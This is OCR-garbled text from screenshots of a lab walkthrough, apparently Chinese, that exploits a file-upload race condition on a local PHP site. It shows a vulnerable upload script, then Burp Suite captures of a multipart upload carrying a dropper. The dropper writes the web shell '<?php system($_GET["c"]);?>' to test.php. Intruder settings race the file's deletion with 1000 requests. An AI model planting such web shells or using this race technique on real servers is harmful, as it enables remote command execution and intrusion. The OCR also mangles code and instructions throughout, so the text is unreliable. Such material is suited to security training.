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upload_file.php
<?php

$filename = ¢ FILES['file'][ ‘name'];
$ext - substr($filename, strrpos{$filename, °

$path ‘up $filename;
$tmp = § ][ “tmp_name*];
{mow tmp, $pa f

{
unlink($path);
("can't uplead php fi

{
{ "upload errorl®);
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Burp Intruder Repeater Window Help

[ Target I Prosy I Spider I Scanner I Intrucer ] Repeater I Sequencer I Decoder T Comparer T Extender T Project options ]

_[ sercenn | HTTP history | websockets history | options |

4| Request to hitp:/127.0.0.1:80

Forward Drop Intercept is on Action
) { J

(o peame | ossers Jrex

POST /code/upload file.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:€1.0) Gecko/20100101 Firefox/EL.Q
Accept: text/html, application/xhtmltxml, application/xnl;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Peferer: http://127.0.0.1/code/upload.html

Content-Type: multipart/form-data; boundary=s------—---——-=-=—--—————————— 41184€76334
Content-Length: 381

Connection: close

Upgrade-Insecure-Requests: 1

————————————————————————————— 41184€76334
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

<?php
$content = '<7php system($_GET["c"]);?>';
file put_contents('test.php',fcontent);

----------------------------- 41184E76334
Content-Disposition: form-data; name="submit"

Submit
----------------------------- 41184E76334--

HEEsend to intruderfs, BUTIZEUEE.
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[ZJ Request to hitp:i#127.0.0.1:80

| Foward || Drop | | Intercept s on H action |

_[Ruw | Headers | Hex |

GET /code/uploads/l.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:&l.0) Gecko/Z0100101 Firefox/€6l.0
Accept: text/html,application/xhtwltxml, application/xnl;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

Upgrade-Insecure-Requests: 1

A% Esend to intruder

_[Rm]maam | Hex |

GET /code/uploads/l.php HTTP/1.1
Host: 127.0.0.1 Send to Spider
User-Agent: Mozilla/5.0 (Windows NT 10.
Accept: text/html, application/xhtml+xml
Accept-Language: zh-CN,zh;q=0.8,zh-TV.,q
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Do an active scan
Send to Intruder Crl+l
Send to Repeater
Send to Sequencer
Send to Comparer

Send to Decoder
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Burp Intruder Repeater Window Help

[ Target I Proxy I Spider I Scanner I Intruder ] Repester ] Sequencer I Decoder I Comparer I Extender T Project options ]

L1

Target | Positions

Payloads Iomans ]

m Attack Target

Configure the details of the target for the attack.

Host: 127.0.01
Port: 80

J Use HTTPS

BESEEFSH209E, ¥ PositionsiEli R, mEaMEIClear §

Target Imlm ]Paym IOM ]
lij Payload Positions Start attack

Configure the posiions wwhere payloads wil be insened inlo the base request. The attack type determines the way in which payloads are agsigned 10 payioad posiions -
zae help for full detailz.

Attack type: | Sniper |0J
POST feode/upload_file.php HTTR/L.L |L Add§
Host: 127.0.0.1 ™ l J
User-Agent: Mozilla/E.0 (Windows NT 10.0; rv:El.0) Geckos20100101 Firefox/El.0
Accept: text/html,application/xhtml+xml,application/aml;qe0.5, */*;q=0.0 Clear §
Accept-Language: zh-CH,zh;qe0.8,sh-TW;q=0.7,sh-HF;q=0.5,en-US;q=0.3,en;gq=0.2
Beferer: heep://127.0.0.1/code/upload. html Auto §
Content-Type: multiparc/forn-data; b dary=---- ----41184ETEIT4
Content-Length: 381
Conmection: close l Refresh )
Upgrade-Insecure-Requests: 1

41184675334
Content-Disposition: form-data; name="file"; filename="§1.phpg"

Content-Type: application/octet-stream

§<Iphp

= ‘<iphp sy ($_CET(*c"1):75";
file_put_contents('test.php’, fcontent) ;:§
4118487324
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L?J Payload Sets

*You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Pasitions tab. *
each payload set, and each payload type can be customized in different ways.

Payload set: |1 !J Payload court: 1,000

Payload type: [Nul payloads JV] Request count: 0

L?J Payload Options [Null payloads]

Thiz payload type generates payloads whose value is an empty string. With no pavioad markers configured, this can be usedto

® Generate payloads

() Continue indefinitely
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Burp Intruder Repester \Window Help

[ Target IPruxv I Spider I Scanner Tﬂrudar I Repeater I Sequencer TDecodar I Comparer I Extender I Project options |

| Target | postions | payioads | options |

Request Headers

These settings control whether Intruder updates the configured reguest headers during attacks.

@&

] Update Content-Length header
() Set Connection: close

Request Engine

These settings control the engine used for making HTTP requests when performing attacks.

Number of threads:

G/ (=)

Mumber of retries on network failure: 3
Pause before retry (miliseconds): 2000
Throttle (miliseconds). @) Fixed 0

AEIEEFEA3NE, M EmBFIVRIE, EPositionsitlik, REAMIAYClear §, ZEPayload
type JINull payloads, BEZZEGenerate 1000 payloads, FHigELFE 50,

NN EREM TN HgEE, SEFEFSH2HNE, AR EEENNATHT Y, Aam
intruder, iEfEStart attack, AEEFEFRSHNE, FATEFAVRIE.

Secuencer T Decoder ] Comparer T Extencler T Project optionz T Usger options | Aerts

Activety scan defined insertion points

T Send to Repeater
@
)

Save attack config

Load atack config

Copy attack config

e taby bebavior

Aupomatic payload positions
Configure predefined payioad ists

the configured request headers during attacks.
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Request Engine

These setfings control the engine used for making HTTP reguests when performing attacks,
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ELE Save Columns
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127.0.0.1/codefuploadsftest php X

&« c @ ® 127.0.0.1/code/uploads/tes tphp = @ w9 IN D =
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Notice: Undefined index: c in C:\phpStudy\WwWwWh\code\uploads\test.php on line 1

Warning: system(): Cannot execute a blank command in C:\phpStudy\WWWh\code
\uploads\test.php on line 1
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| 2| Payload Sets
You can define one or more payload sets, The number of payload sets depends on the attack type defined in the Posttions tab. %
each payload set, and each payload type can be customized in different ways.

Payload set: |1 ‘J Payload count: 1,000
Payload type: | Mull payloads _Yj Request court: 0
liJ Payload Options [Null payloads]

This payload type generates payloads whose value is an empty string. With no payload markers configured, this can be used to




@® Generate 1000 | payloads
I |

() Continue indefinitely
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